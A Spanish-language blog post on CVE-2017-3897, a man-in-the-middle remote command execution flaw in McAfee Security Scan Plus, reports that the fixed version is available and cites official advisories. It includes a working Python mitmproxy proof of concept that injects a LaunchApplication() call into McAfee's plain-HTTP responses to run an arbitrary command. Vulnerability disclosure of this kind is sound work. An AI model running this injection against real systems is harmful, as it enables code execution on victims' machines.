domingo, 6 de agosto de 2017

Ejecución remota de comandos en McAfee Security Scan Plus

Una vulnerabilidad en McAfee Security Scan Plus podría permitir la ejecución de cualquier ejecutable residente con los privilegios del usuario del sistema.

McAfee Security Scan Plus es una herramienta de diagnóstico gratuita que permite comprobar el estado de la protección del equipo, determinando si existen soluciones antivirus, cortafuegos y seguridad Web instaladas,
activas y actualizadas, y también analiza las amenazas en cualquier programa abierto.

McAfee Security Scan Plus obtiene información promocional procedente de diferentes dominios ‘mcafee.com’ y la muestra en la interfaz de usuario, normalmente en la ventana principal de la aplicación.




La vulnerabilidad, a la que se le ha asignado el identificador CVE-2017-3897, está causada por los siguientes factores:

  • La información se obtiene a través de HTTP en texto plano, por lo que podría ser modificada por un atacante remoto.
  • La aplicación McAfee Security Scan Plus confía en la librería ‘MCBRWSR2.DLL’ para mostrar contenido HTML. Esta librería expone la función javascript ‘LaunchApplication()’ que permite ejecutar comandos arbitrarios en el sistema. El siguiente ejemplo ejecutaría la calculadora de Windows (‘calc.exe’):

<script>window.external.LaunchApplication(“c:\\windows\\system32\\calc.exe”,
“”);</script>


Después de cada análisis del sistema, McAfee Security Scan Plus descarga un elemento que indica el nivel de protección. Aunque la respuesta original redirecciona a una URL HTTPs segura y los certificados de servidor son verificados por el cliente, sería posible a través de un ataque Man-in-the-Middle reemplazar este mensaje con una respuesta que contenga una llamada a la función ‘LaunchApplication()’. Esto permitiría ejecutar comandos con los permisos del usuario actual. Esta solicitud se realiza en cada análisis: tanto si es iniciado iniciado por el usuario
como de forma automática (por defecto se ejecuta semanalmente).

Existe una prueba de concepto escrita en python para esta vulnerabilidad:

#!/usr/bin/env python3
#
# HTTP proxy mode:
# mitmproxy -s mcsploit_inline.py --ignore '.*'
#
# Transparent proxy mode:
# mitmproxy -s mcsploit_inline.py -T
#

from mitmproxy import ctx, http
import requests
import time

COMMAND="c:\\\\windows\\\\system32\\\\calc.exe"
CMDARGS=""

def response(flow):
    if flow.request.scheme == "http" and
(flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in
flow.request.url):
        if flow.response.status_code == 302:
            ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)")
            https_url=flow.request.url.replace("http://","https://")

r=requests.get(https_url,headers=flow.request.headers,verify=False)
            if "text/html" not in r.headers['content-type']: return
            contents=r.text

contents=contents.replace("</head>","<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var
x;}</script></head>" % (COMMAND, CMDARGS))
            flow.response =
http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type":
"text/html; charset=utf-8","Expires":"-1"})
            return
        try:
            if flow.response.headers["content-type"] == "text/javascript":
                ctx.log("[+] [MCSPLOIT] Insecure McAfee request found!
(JS)")

inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var
x;}\n" % (COMMAND, CMDARGS)
                try:
                    flow.response.contents = inject + flow.response.contents
                except AttributeError:
                    ctx.log("[-] [MCSPLOIT] No content in the original
response!")
                    pass
        except KeyError:
            pass



McAfee Security Scan Plus puede ser descargado gratuitamente desde la página oficial de McAfee, pero también se distribuye junto a software de terceros, como una opción adicional -marcada por defecto- durante el proceso de instalación de dichos programas. Un ejemplo de esto es el plugin de Adobe Flash Player para los navegadores web (https://get.adobe.com/es/flashplayer/).






Esto significa que podrían existir equipos que cuenten con McAfee Security Scan Plus instalado sin que el usuario tenga conocimiento de ello (la instación está activada por defecto), lo que supondría un mayor riesgo para estos sistemas si no se actualizan para corregir el fallo de seguridad.

En el sitio oficial se encuentra disponible para su descarga la versión de McAfee Security Scan Plus 3.11.587.1 que corrige esta vulnerabilidad.

Más información:McAfee Security Scan Plus
https://home.mcafee.com/downloads/free-virus-scan

McAfee Security Scan Plus update fixes a potential man-in-the-middle
vulnerability (CVE-2017-3897)
https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714

SSD Advisory – McAfee Security Scan Plus Remote Command Execution
https://blogs.securiteam.com/index.php/archives/3350

Juan José Ruíz